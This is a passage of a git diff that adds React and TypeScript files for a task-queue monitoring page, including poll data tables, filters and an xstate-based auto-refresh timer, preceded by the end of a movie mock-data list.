stay in Iran and look after a deteriorating parent who has Alzheimer's disease.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTYzMzU4NDUwOF5BMl5BanBnXkFtZTcwMTM5MjA5Ng@@._V1_SX300.jpg", + }, + { + id: 146, + title: "The Big Short", + year: "2015", + runtime: "130", + genres: ["Biography", "Comedy", "Drama"], + director: "Adam McKay", + actors: "Ryan Gosling, Rudy Eisenzopf, Casey Groves, Charlie Talbert", + plot: "Four denizens in the world of high-finance predict the credit and housing bubble collapse of the mid-2000s, and decide to take on the big banks for their greed and lack of foresight.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNDc4MThhN2EtZjMzNC00ZDJmLThiZTgtNThlY2UxZWMzNjdkXkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, +]; diff --git a/ui-next/src/pages/queueMonitor/PollDataTable.tsx b/ui-next/src/pages/queueMonitor/PollDataTable.tsx new file mode 100644 index 0000000..4d5555b --- /dev/null +++ b/ui-next/src/pages/queueMonitor/PollDataTable.tsx @@ -0,0 +1,205 @@ +import { Box, Grid, Radio } from "@mui/material"; +import { useActor, useSelector } from "@xstate/react"; +import { DataTable } from "components"; +import { first, last, omit, path } from "lodash/fp"; +import { useContext } from "react"; +import { Entries } from "types/helperTypes"; +import useCustomPagination from "utils/hooks/useCustomPagination"; +import { State } from "xstate"; +import { QuickSearchRefresh } from "./QuickSearchAndRefresh"; +import { FilterSection } from "./filter"; +import { lastPollTimeColumnRenderer } from "./helpers"; +import { + PollData, + QueueMachineEventTypes, + QueueMonitorContext, + QueueMonitorMachineContext, +} from "./state"; +import { QueueData, QueueSizeCount } from "./state/types"; + +const dataColumns: any = [ + { + name: "queueName", + id: "queueName", + label: "Queue Name", + tooltip: "The name of the queue", + }, + { + name: "size", + id: "size", + label: "Queue Size", + maxWidth: "200px", + tooltip: "The number of items in the queue", + }, + { + name: "pollerCount", + id: "pollerCount", + label: "Worker Count", + tooltip: "The number of workers polling the queue", + maxWidth: "200px", + }, + { + name: "lastPollTime", + id: "lastPollTime", + label: "Last Poll Time", + tooltip: "The last time the queue was polled", + renderer: lastPollTimeColumnRenderer, + }, +]; + +type SelectablePollDataSummary = Partial & { + size: number; + pollerCount: number; +}; + +export const PollDataTable = () => { + const { queueMachineActor } = useContext(QueueMonitorContext); + const [ + { pageParam, searchParam }, + { handleSearchTermChange, handlePageChange }, + ] = useCustomPagination(); + + const data: any = useSelector( + queueMachineActor!, + ({ + context: { pollDataByQueueName = {}, queueData = {} }, + }: State) => { + const [usedKeys, activeWorkers] = ( + Object.entries(pollDataByQueueName) as unknown as Array< + [string, PollData[]] + > + ).reduce( + ( + acc: [string[], SelectablePollDataSummary[]], + [itemName, pollData]: [string, PollData[]], + ): [string[], SelectablePollDataSummary[]] => { + const { size = 0, pollerCount = 0 } = path(itemName, queueData) || {}; + + const lastUpdatedPollDataBetweenWorkers = + first(pollData.sort((pd) => pd.lastPollTime)) || {}; + + const usedKeysAcc = (first(acc) as string[]).concat(itemName); + + const selectablePollData: SelectablePollDataSummary = { + ...lastUpdatedPollDataBetweenWorkers, + ...{ size, pollerCount }, + }; + + const activeWorkeresAcc = ( + last(acc) as SelectablePollDataSummary[] + ).concat(selectablePollData); + + return [usedKeysAcc, activeWorkeresAcc]; + }, + [[], []], + ); + + const queueDataWithoutPollData: QueueData = omit( + usedKeys, + queueData, + ) as QueueData; + const inactiveWorkers = ( + Object.entries(queueDataWithoutPollData) as Entries + ).map( + // @ts-ignore + ([k, val = {}]: [ + string, + QueueSizeCount, + ]): SelectablePollDataSummary => ({ + queueName: k!, + pollerCount: 0, + ...val, + }), + ); + return activeWorkers.concat(inactiveWorkers); + }, + ); + + const selectedQueueName = useSelector( + queueMachineActor!, + (state) => state.context.selectedQueueName, + ); + const [, send] = useActor(queueMachineActor!); + const handleSelectRow = (queueName: string) => { + send({ + type: QueueMachineEventTypes.SELECT_QUEUE_NAME, + queueName, + }); + }; + + const selectColumn = { + name: "select", + id: "select", + label: "Select", + maxWidth: "150px", + tooltip: "Select the queue", + renderer: (_id: any, rowData: SelectablePollDataSummary) => { + return ( + { + handleSelectRow(rowData.queueName!); + }} + checked={rowData.queueName === selectedQueueName} + /> + ); + }, + sortFunction: ( + rowA: SelectablePollDataSummary, + rowB: SelectablePollDataSummary, + ) => { + if (rowA.queueName === selectedQueueName) { + return 1; + } + + if (rowB.queueName === selectedQueueName) { + return -1; + } + + return 0; + }, + }; + + const columns: any = [selectColumn].concat(dataColumns); + + const isLoading = useSelector( + queueMachineActor!, + (state) => !state.matches("ready"), + ); + + return ( + + + + + + + + null} + localStorageKey="pollDataTable" + noDataComponent={ + + No polling details found + + } + defaultShowColumns={["select", "queueName", "size", "pollerCount"]} + data={data} + columns={columns} + searchTerm={searchParam} + onChangePage={handlePageChange} + paginationDefaultPage={pageParam ? Number(pageParam) : 1} + /> + + + + ); +}; diff --git a/ui-next/src/pages/queueMonitor/PollWorkerDetails.tsx b/ui-next/src/pages/queueMonitor/PollWorkerDetails.tsx new file mode 100644 index 0000000..fb1316d --- /dev/null +++ b/ui-next/src/pages/queueMonitor/PollWorkerDetails.tsx @@ -0,0 +1,66 @@ +import { Box } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { DataTable } from "components"; +import _path from "lodash/fp/path"; +import { useContext, useEffect, useRef } from "react"; +import { lastPollTimeColumnRenderer } from "./helpers"; +import { QueueMonitorContext } from "./state"; + +const columns = [ + { + id: "workerId", + name: "workerId", + label: "Worker", + }, + { + id: "domain", + name: "domain", + label: "Domain", + }, + { + id: "lastPollTime", + name: "lastPollTime", + label: "Last Poll Time", + renderer: lastPollTimeColumnRenderer, + }, +]; +export const PollWorkerDetailsDataTable = () => { + const { queueMachineActor } = useContext(QueueMonitorContext); + const divRef = useRef(null); + const [selectedName, noWorkers] = useSelector(queueMachineActor!, (state) => [ + state.context.selectedQueueName, + state.context.noWorkers, + ]); + const data = useSelector(queueMachineActor!, (state) => + _path(state.context.selectedQueueName, state.context.pollDataByQueueName), + ); + useEffect(() => { + if (divRef?.current !== null) { + divRef.current.scrollIntoView({ behavior: "smooth" }); + } + }, [selectedName]); + return ( +
      + {noWorkers ? ( + + There are no polling workers + + ) : ( + + Details not found + + } + data={data} + columns={columns} + /> + )} +
      + ); +}; diff --git a/ui-next/src/pages/queueMonitor/QuickSearchAndRefresh.tsx b/ui-next/src/pages/queueMonitor/QuickSearchAndRefresh.tsx new file mode 100644 index 0000000..79411da --- /dev/null +++ b/ui-next/src/pages/queueMonitor/QuickSearchAndRefresh.tsx @@ -0,0 +1,56 @@ +import { Box, Grid, useMediaQuery, useTheme } from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ReactNode } from "react"; +import { RefreshOptions } from "./refresher"; + +export interface QuickSearchProps { + onChange: (val: string) => void; + searchTerm: string; + createButton?: ReactNode; + description?: ReactNode; + quickSearchPlaceholder: string; + label?: ReactNode; +} + +export const QuickSearchRefresh = ({ + label, + quickSearchPlaceholder, + searchTerm, + onChange, +}: QuickSearchProps) => { + const theme = useTheme(); + const mediumScreen = useMediaQuery(theme.breakpoints.up("md")); + + return ( + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/queueMonitor/TaskQueue.tsx b/ui-next/src/pages/queueMonitor/TaskQueue.tsx new file mode 100644 index 0000000..3b06092 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/TaskQueue.tsx @@ -0,0 +1,59 @@ +import { Box, Button } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import Paper from "components/ui/Paper"; +import { Helmet } from "react-helmet"; +import { useNavigate } from "react-router"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import { PollDataTable } from "./PollDataTable"; +import { PollWorkerDetailsDataTable } from "./PollWorkerDetails"; +import { QueueMonitorContextProvider, useQueueMachine } from "./state"; + +export default function TaskQueue() { + const queueMachineActor = useQueueMachine(); + const hasMadeSelection = useSelector(queueMachineActor, (state) => + state.matches("ready.tableSelection.withSelection"), + ); + const showError = useSelector(queueMachineActor, (state) => + state.matches("showError"), + ); + const errorMessage = useSelector( + queueMachineActor, + (state) => state.context.errorMessage, + ); + + const navigate = useNavigate(); + return ( + <> + + Task Queues Monitoring + + + + + {showError ? ( + + {errorMessage} + + + ) : ( + + + {queueMachineActor && } + {hasMadeSelection && } + + + )} + + + ); +} diff --git a/ui-next/src/pages/queueMonitor/filter/FilterSection.tsx b/ui-next/src/pages/queueMonitor/filter/FilterSection.tsx new file mode 100644 index 0000000..ee831f2 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/filter/FilterSection.tsx @@ -0,0 +1,229 @@ +import { Grid, MenuItem, Paper, useMediaQuery } from "@mui/material"; +import Button from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import ConductorSelect from "components/ui/inputs/ConductorSelect"; +import ConductorDateTimePicker from "components/ui/date-time/ConductorDateTimePicker"; +import FilterIcon from "components/icons/FilterIcon"; +import ResetIcon from "components/icons/ResetIcon"; +import _isEmpty from "lodash/isEmpty"; +import { ChangeEvent, FunctionComponent, ReactNode } from "react"; +import { Link as RouterLink } from "react-router"; +import { dateRangePickerStyle } from "shared/styles"; +import { ActorRef } from "xstate"; +import { + FilterOption, + QueueMonitorMachineEvents, + RangeOptions, +} from "../state"; +import { useFilterUpdate } from "./hook"; + +interface OptionSelectorProps { + onChange: (payload?: FilterOption) => void; + value?: FilterOption; + label: string; +} + +export const OptionSelector: FunctionComponent = ({ + onChange, + value, + label, +}) => { + const handleSelectChange = (event: ChangeEvent) => { + const maybeSelectedOption = event.target.value as RangeOptions; + + onChange( + _isEmpty(maybeSelectedOption) + ? undefined + : { size: value?.size || 0, option: maybeSelectedOption }, + ); + }; + + return ( + + Greater than + Lower than + Empty + + ); +}; + +interface FilterContainerProps { + label: string; + selector: ReactNode; + valueField: ReactNode; +} + +const FieldContainer: FunctionComponent = ({ + label, + selector, + valueField, +}) => ( + + + + {label} + + + {selector} + {valueField} + +); + +export interface FilterSectionProps { + queueMachineActor: ActorRef; +} + +export const FilterSection: FunctionComponent = ({ + queueMachineActor, +}) => { + const [ + state, + { + handleUpdateQueue, + handleUpdateWorkerCount, + handleUpdateLastPollFilter, + clearAllFields, + }, + isDisabled, + appliedFilterPath, + ] = useFilterUpdate(queueMachineActor); + + const mediumScreen = useMediaQuery("(max-width:1200px)"); + + return ( + + + {/* First row: Queue size and Worker count */} + + + + } + valueField={ + + handleUpdateQueue({ + option: state?.queue?.option || RangeOptions.LT, + size: value, + }) + } + type="number" + /> + } + /> + + + + } + valueField={ + + handleUpdateWorkerCount({ + option: state?.worker?.option || RangeOptions.LT, + size: value, + }) + } + type="number" + /> + } + /> + + + + {/* Second row: Last poll time with Reset and Apply filter buttons */} + + + + } + valueField={ + { + if (value) { + handleUpdateLastPollFilter({ + option: state?.lastPollTime?.option || RangeOptions.LT, + size: value.valueOf(), + }); + } + }} + sx={dateRangePickerStyle.input} + /> + } + /> + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/queueMonitor/filter/hook.ts b/ui-next/src/pages/queueMonitor/filter/hook.ts new file mode 100644 index 0000000..bc870eb --- /dev/null +++ b/ui-next/src/pages/queueMonitor/filter/hook.ts @@ -0,0 +1,88 @@ +import { + FilterOption, + FilterOptions, + RangeOptions, + QueueMonitorMachineEvents, + QueueMachineEventTypes, +} from "../state"; +import { filterOptionToQueryParams, hasNoQueryParams } from "../helpers"; +import { useLocation } from "react-router"; +import { ActorRef } from "xstate"; +import { useSelector, useActor } from "@xstate/react"; +import fastDeepEquals from "fast-deep-equal"; + +export enum FormReducerActionTypes { + UPDATE_QUEUE_OPTION = "UPDATE_QUEUE_OPTION", + UPDATE_WORKER_COUNT_OPTION = "UPDATE_WORKER_OPTION", + UPDATE_LAST_POLL_TIME_OPTION = "UPDATE_LAST_POLL_TIME_OPTION", +} + +type Payload = + | { + option: RangeOptions; + size: number; + } + | undefined; + +export interface ReducerAction { + type: FormReducerActionTypes; + payload: Payload; +} + +export const useFilterUpdate = ( + queueMachineActor: ActorRef, +): [FilterOptions, any, boolean, string] => { + const location = useLocation(); + const [, send] = useActor(queueMachineActor); + const filterOptions = useSelector( + queueMachineActor, + (state) => state.context.filterOptionsToApply, + ); + + const originalFilterOptions = useSelector( + queueMachineActor, + (state) => state.context.filterOptions, + ); + + const queryParams = filterOptionToQueryParams(filterOptions); + + const handleUpdateQueue = (queue: FilterOption | undefined) => + send({ + type: QueueMachineEventTypes.UPDATE_QUEUE_OPTION, + queue, + }); + + const handleUpdateWorkerCount = (worker: FilterOption | undefined) => + send({ + type: QueueMachineEventTypes.UPDATE_WORKER_COUNT_OPTION, + worker, + }); + + const handleUpdateLastPollFilter = (lastPollTime: FilterOption | undefined) => + send({ + type: QueueMachineEventTypes.UPDATE_LAST_POLL_TIME_OPTION, + lastPollTime, + }); + + const isDisabled = fastDeepEquals(originalFilterOptions, filterOptions); + + const clearAllFields = () => { + handleUpdateQueue(undefined); + handleUpdateWorkerCount(undefined); + handleUpdateLastPollFilter(undefined); + }; + + return [ + filterOptions, + { + handleUpdateQueue, + handleUpdateWorkerCount, + handleUpdateLastPollFilter, + clearAllFields, + }, + isDisabled, + hasNoQueryParams(filterOptions) + ? location.pathname + : `${location.pathname}?${queryParams}`, + ]; +}; diff --git a/ui-next/src/pages/queueMonitor/filter/index.ts b/ui-next/src/pages/queueMonitor/filter/index.ts new file mode 100644 index 0000000..161f97c --- /dev/null +++ b/ui-next/src/pages/queueMonitor/filter/index.ts @@ -0,0 +1,3 @@ +import { FilterSection } from "./FilterSection"; + +export { FilterSection }; diff --git a/ui-next/src/pages/queueMonitor/helpers.ts b/ui-next/src/pages/queueMonitor/helpers.ts new file mode 100644 index 0000000..2a8cd6a --- /dev/null +++ b/ui-next/src/pages/queueMonitor/helpers.ts @@ -0,0 +1,70 @@ +import _path from "lodash/fp/path"; +import _isNil from "lodash/isNil"; +import _isUndefined from "lodash/isUndefined"; +import { Entries } from "types/helperTypes"; +import { getDifferenceInSeconds, humanizeDuration } from "utils/date"; +import { FilterOption, FilterOptions, RangeOptions } from "./state/types"; + +interface QueueMonitorRoute { + workerSize?: string; + workerOpt?: RangeOptions; + queueSize?: string; + queueOpt?: RangeOptions; + lastPollTimeSize?: string; + lastPollTimeOpt?: RangeOptions; +} + +export const filterOptionOrNot = ( + prefix: string, + matchParams: QueueMonitorRoute, +): FilterOption | undefined => { + const size = _path(`${prefix}Size`, matchParams); + const option = _path(`${prefix}Opt`, matchParams); + return [size, option].every(_isNil) + ? undefined + : { + size, + option, + }; +}; +export const renameKeys = ( + someObj: Record, + newNames: Record, +): Record => + Object.fromEntries( + Object.entries(someObj).map(([key, value]) => [ + _path(key, newNames), + value, + ]), + ); + +export const filterOptionToQueryParams = ( + filterOptions: FilterOptions, +): string => + (Object.entries(filterOptions) as Entries>) + .reduce((acc: string[], [key, value]): string[] => { + if (_isNil(value)) { + return acc; + } + let size = value.size || 0; + if (key === "lastPollTime") { + size = size || Date.now(); + } + return acc.concat(`${key}Size=${size}&${key}Opt=${value?.option}`); + }, []) + .join("&"); + +export const hasNoQueryParams = (filterOptions: FilterOptions) => + Object.values(filterOptions).every(_isUndefined); + +export const lastPollTimeColumnRenderer = (lastPollTime: number) => { + if (lastPollTime) { + const now = Date.now(); + const durationInMillis = now - lastPollTime; + const secondsDiff = getDifferenceInSeconds(now, lastPollTime); + return secondsDiff > 0 + ? humanizeDuration(lastPollTime, now) + : `${Math.abs(durationInMillis)} millis`; + } + return "N/A"; +}; diff --git a/ui-next/src/pages/queueMonitor/refresher/RefreshOptions.tsx b/ui-next/src/pages/queueMonitor/refresher/RefreshOptions.tsx new file mode 100644 index 0000000..15de4ec --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/RefreshOptions.tsx @@ -0,0 +1,181 @@ +import { + CircularProgress, + FormControlLabel, + Grid, + Radio, + RadioGroup, +} from "@mui/material"; +import { ArrowClockwise as RefreshIcon } from "@phosphor-icons/react"; +import { useActor, useSelector } from "@xstate/react"; +import Button from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; +import { FunctionComponent, ReactNode, useContext, useMemo } from "react"; +import { ActorRef, State } from "xstate"; +import { QueueMonitorContext } from "../state"; +import { + RefreshMachineContext, + RefreshMachineEventTypes, + TimerEvents, +} from "./state"; + +const REFRESH_SECONDS_OPTIONS = [1, 10, 30, 60]; + +interface RefreshOptionsPresentationalProps { + onRefresh: () => void; + timerActor: ActorRef; + startIcon: ReactNode; +} + +export const RefreshButton: FunctionComponent< + RefreshOptionsPresentationalProps +> = ({ onRefresh, timerActor, startIcon }) => { + const refreshInterval = useSelector( + timerActor, + (state: State) => state.context.durationSet, + ); + + const elapsed = useSelector( + timerActor, + (state: State) => state.context.elapsed, + ); + + return ( + + ); +}; + +export const RefreshOptions = () => { + const { queueMachineActor } = useContext(QueueMonitorContext); + + const [, send] = useActor(queueMachineActor!); + + const canRefresh = useSelector(queueMachineActor!, (state) => + state.matches("ready.refresher.timer"), + ); + + const timerActor = + // @ts-ignore + queueMachineActor?.children?.get("refreshMachine"); + + const refreshInterval = useSelector( + queueMachineActor!, + (state) => state.context.refetchDuration, + ); + + const changeRefreshRate = (value: number) => { + send({ + type: RefreshMachineEventTypes.UPDATE_DURATION, + value, + }); + }; + const handleRefresh = () => + send({ + type: RefreshMachineEventTypes.REFRESH, + }); + + const startIcon = useMemo(() => { + return refreshInterval === 1 ? ( + + ) : ( + + ); + }, [refreshInterval]); + + const refreshButton = + canRefresh && timerActor ? ( + + ) : ( + + ); + + const radioGroup = ( + + {REFRESH_SECONDS_OPTIONS.map((op) => ( + changeRefreshRate(op)} + checked={op === refreshInterval} + /> + } + label={op} + key={op} + /> + ))} + + ); + + const label = ( + + Refresh seconds + + ); + + return ( + + + {label} + + + {label} + + + {radioGroup} + + + + {refreshButton} + + + + {radioGroup} + {refreshButton} + + + {radioGroup} + + {refreshButton} + + ); +}; diff --git a/ui-next/src/pages/queueMonitor/refresher/index.ts b/ui-next/src/pages/queueMonitor/refresher/index.ts new file mode 100644 index 0000000..6c64f1c --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/index.ts @@ -0,0 +1,2 @@ +export * from "./RefreshOptions"; +export * from "./state"; diff --git a/ui-next/src/pages/queueMonitor/refresher/state/actions.ts b/ui-next/src/pages/queueMonitor/refresher/state/actions.ts new file mode 100644 index 0000000..a6fdd61 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/state/actions.ts @@ -0,0 +1,29 @@ +import { assign, sendParent } from "xstate"; +import { + RefreshMachineContext, + UpdateDurationEvent, + RefreshMachineEventTypes, +} from "./types"; + +export const persistDuration = assign< + RefreshMachineContext, + UpdateDurationEvent +>({ + duration: (_, event) => event.value, + durationSet: (_, event) => event.value, +}); + +export const persistElapsed = assign({ + elapsed: (context) => context.elapsed + 1, +}); + +export const sendRefresh = sendParent(() => ({ + type: RefreshMachineEventTypes.REFRESH, +})); + +export const forwardToParent = sendParent((__context, event) => event); + +export const restartTimer = assign({ + duration: ({ durationSet }) => durationSet, + elapsed: 0, +}); diff --git a/ui-next/src/pages/queueMonitor/refresher/state/guards.ts b/ui-next/src/pages/queueMonitor/refresher/state/guards.ts new file mode 100644 index 0000000..e4dfaf0 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/state/guards.ts @@ -0,0 +1,8 @@ +import { RefreshMachineContext } from "./types"; + +export const elapsedIsLessThanDuration = (context: RefreshMachineContext) => + context.elapsed < context.duration; + +export const elapsedIsBiggerThanDuration = (context: RefreshMachineContext) => { + return context.elapsed >= context.duration; +}; diff --git a/ui-next/src/pages/queueMonitor/refresher/state/index.ts b/ui-next/src/pages/queueMonitor/refresher/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/queueMonitor/refresher/state/machine.ts b/ui-next/src/pages/queueMonitor/refresher/state/machine.ts new file mode 100644 index 0000000..bbe6e49 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/state/machine.ts @@ -0,0 +1,60 @@ +import { createMachine } from "xstate"; +import { + RefreshMachineContext, + RefreshMachineEventTypes, + TimerEvents, +} from "./types"; +import * as actions from "./actions"; +import * as guards from "./guards"; + +export const timerMachine = createMachine( + { + id: "timerMachine", + initial: "running", + context: { + durationSet: 60, + elapsed: 0, + duration: 60, + }, + states: { + running: { + invoke: { + src: (_context) => (cb) => { + const interval = setInterval(() => { + cb(RefreshMachineEventTypes.TICK); + }, 1000); + + return () => { + clearInterval(interval); + }; + }, + }, + always: { + target: "endTimer", + cond: "elapsedIsBiggerThanDuration", + }, + on: { + TICK: { + actions: "persistElapsed", + }, + }, + }, + endTimer: { + entry: ["sendRefresh", "restartTimer"], + always: "running", + }, + }, + on: { + [RefreshMachineEventTypes.UPDATE_DURATION]: { + actions: ["persistDuration", "restartTimer"], + }, + [RefreshMachineEventTypes.REFRESH]: { + actions: ["restartTimer"], + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/queueMonitor/refresher/state/types.ts b/ui-next/src/pages/queueMonitor/refresher/state/types.ts new file mode 100644 index 0000000..f0c4ac8 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/refresher/state/types.ts @@ -0,0 +1,26 @@ +export interface RefreshMachineContext { + elapsed: number; + duration: number; + durationSet: number; +} + +export enum RefreshMachineEventTypes { + TICK = "TICK", + UPDATE_DURATION = "UPDATE_DURATION", + REFRESH = "REFRESH", +} + +export type TickEvent = { + type: RefreshMachineEventTypes.TICK; +}; + +export type RefreshEvent = { + type: RefreshMachineEventTypes.REFRESH; +}; + +export type UpdateDurationEvent = { + type: RefreshMachineEventTypes.UPDATE_DURATION; + value: number; +}; + +export type TimerEvents = TickEvent | UpdateDurationEvent | RefreshEvent; diff --git a/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorContext.tsx b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorContext.tsx new file mode 100644 index 0000000..9032eef --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorContext.tsx @@ -0,0 +1,6 @@ +import { createContext } from "react"; +import { QueueMonitorContextProps } from "./types"; + +export const QueueMonitorContext = createContext({ + queueMachineActor: undefined, +}); diff --git a/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorProvider.tsx b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorProvider.tsx new file mode 100644 index 0000000..15d2818 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorProvider.tsx @@ -0,0 +1,11 @@ +import { FunctionComponent } from "react"; +import { QueueMonitorContext } from "./QueueMonitorContext"; +import { QueueMonitorContextProps } from "./types"; + +export const QueueMonitorContextProvider: FunctionComponent< + QueueMonitorContextProps +> = ({ children, queueMachineActor }) => ( + + {children} + +); diff --git a/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/index.ts b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/index.ts new file mode 100644 index 0000000..8ba9877 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/index.ts @@ -0,0 +1,2 @@ +export * from "./QueueMonitorContext"; +export * from "./QueueMonitorProvider"; diff --git a/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/types.ts b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/types.ts new file mode 100644 index 0000000..7cbe08d --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/QueueMonitorContext/types.ts @@ -0,0 +1,8 @@ +import { ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { QueueMonitorMachineEvents } from "../types"; + +export interface QueueMonitorContextProps { + queueMachineActor?: ActorRef; + children?: ReactNode; +} diff --git a/ui-next/src/pages/queueMonitor/state/actions.ts b/ui-next/src/pages/queueMonitor/state/actions.ts new file mode 100644 index 0000000..94443fc --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/actions.ts @@ -0,0 +1,97 @@ +import { assign, DoneInvokeEvent, forwardTo } from "xstate"; +import { + QueueMonitorMachineContext, + FetchQueueEvent, + PollData, + FetchResponse, + SelectQueueEvent, + UpdateQueueOptionEvent, + UpdateWorkerOptionEvent, + UpdateLastPollTimeOptionEvent, +} from "./types"; +import { UpdateDurationEvent } from "../refresher"; +import _groupBy from "lodash/groupBy"; +import _isNil from "lodash/isNil"; +import _path from "lodash/fp/path"; + +export const persistFetchRequestParams = assign< + QueueMonitorMachineContext, + FetchQueueEvent +>((_context, { type: _type, ...rest }) => { + return { + filterOptions: rest, + filterOptionsToApply: rest, + }; +}); + +export const persistPollQueueData = assign< + QueueMonitorMachineContext, + DoneInvokeEvent +>((_context, { data }) => ({ + pollDataByQueueName: _groupBy( + data.pollData, + "queueName", + ) as unknown as Record, + queueData: data.queueData, +})); + +export const persistQueueSelection = assign< + QueueMonitorMachineContext, + SelectQueueEvent +>((context, { queueName }) => ({ + selectedQueueName: queueName, + noWorkers: _isNil(_path(queueName, context.pollDataByQueueName)), +})); + +export const persistQueueOption = assign< + QueueMonitorMachineContext, + UpdateQueueOptionEvent +>({ + filterOptionsToApply: ({ filterOptionsToApply }, { queue }) => ({ + ...filterOptionsToApply, + queue, + }), +}); + +export const persistWorkerOption = assign< + QueueMonitorMachineContext, + UpdateWorkerOptionEvent +>({ + filterOptionsToApply: ({ filterOptionsToApply }, { worker }) => ({ + ...filterOptionsToApply, + worker, + }), +}); + +export const persistLastPollTimeOption = assign< + QueueMonitorMachineContext, + UpdateLastPollTimeOptionEvent +>({ + filterOptionsToApply: ({ filterOptionsToApply }, { lastPollTime }) => ({ + ...filterOptionsToApply, + lastPollTime, + }), +}); + +export const peristErrorMessage = assign< + QueueMonitorMachineContext, + DoneInvokeEvent<{ message: string }> +>({ errorMessage: (_context: any, { data }: any) => data.message }); + +export const persistDuration = assign< + QueueMonitorMachineContext, + UpdateDurationEvent +>({ + refetchDuration: (context, { value }) => value, +}); + +export const persistLocalStorageDuration = assign< + QueueMonitorMachineContext, + DoneInvokeEvent +>({ + refetchDuration: (context, { data }) => { + return data; + }, +}); + +export const forwardToRefreshMachine = forwardTo("refreshMachine"); diff --git a/ui-next/src/pages/queueMonitor/state/guards.ts b/ui-next/src/pages/queueMonitor/state/guards.ts new file mode 100644 index 0000000..522b41e --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/guards.ts @@ -0,0 +1,5 @@ +import { QueueMonitorMachineContext } from "./types"; +import _isNil from "lodash/isNil"; + +export const noQueueNameSelected = (context: QueueMonitorMachineContext) => + _isNil(context.selectedQueueName); diff --git a/ui-next/src/pages/queueMonitor/state/hook.ts b/ui-next/src/pages/queueMonitor/state/hook.ts new file mode 100644 index 0000000..3b6c81d --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/hook.ts @@ -0,0 +1,36 @@ +import { useEffect, useMemo } from "react"; +import { useAuthHeaders } from "utils/query"; +import { useMachine } from "@xstate/react"; +import { queueMonitorMachine } from "./machine"; +import { QueueMachineEventTypes, QueueMonitorMachineEvents } from "./types"; +import { ActorRef } from "xstate"; +import { useLocation } from "react-router"; +import qs from "qs"; +import { filterOptionOrNot } from "../helpers"; + +export const useQueueMachine = (): ActorRef => { + const authHeaders = useAuthHeaders(); + const { search } = useLocation(); + const [, send, service] = useMachine(queueMonitorMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + }, + }); + + const queryParams = useMemo( + () => qs.parse(search, { ignoreQueryPrefix: true }), + [search], + ); + + useEffect(() => { + send({ + type: QueueMachineEventTypes.FETCH_TASKS_QUEUE, + queue: filterOptionOrNot("queue", queryParams), + worker: filterOptionOrNot("worker", queryParams), + lastPollTime: filterOptionOrNot("lastPollTime", queryParams), + }); + }, [send, queryParams]); + + return service; +}; diff --git a/ui-next/src/pages/queueMonitor/state/index.ts b/ui-next/src/pages/queueMonitor/state/index.ts new file mode 100644 index 0000000..e6cf051 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/index.ts @@ -0,0 +1,3 @@ +export * from "./hook"; +export * from "./QueueMonitorContext"; +export * from "./types"; diff --git a/ui-next/src/pages/queueMonitor/state/machine.ts b/ui-next/src/pages/queueMonitor/state/machine.ts new file mode 100644 index 0000000..26b09c5 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/machine.ts @@ -0,0 +1,183 @@ +import { createMachine } from "xstate"; +import { timerMachine } from "../refresher/state/machine"; +import { RefreshMachineEventTypes } from "../refresher/state/types"; +import * as actions from "./actions"; +import * as guards from "./guards"; +import * as services from "./service"; +import { + QueueMachineEventTypes, + QueueMonitorMachineContext, + QueueMonitorMachineEvents, +} from "./types"; + +export const queueMonitorMachine = createMachine< + QueueMonitorMachineContext, + QueueMonitorMachineEvents +>( + { + id: "queueMachine", + predictableActionArguments: true, + initial: "idle", + context: { + pollDataByQueueName: {}, + queueData: {}, + authHeaders: undefined, + refetchDuration: 60, + filterOptions: { + queue: undefined, + worker: undefined, + lastPollTime: undefined, + }, + filterOptionsToApply: { + queue: undefined, + worker: undefined, + lastPollTime: undefined, + }, + errorMessage: "", + }, + on: { + [QueueMachineEventTypes.FETCH_TASKS_QUEUE]: { + actions: "persistFetchRequestParams", + target: "fetchForTaskPolls", + }, + 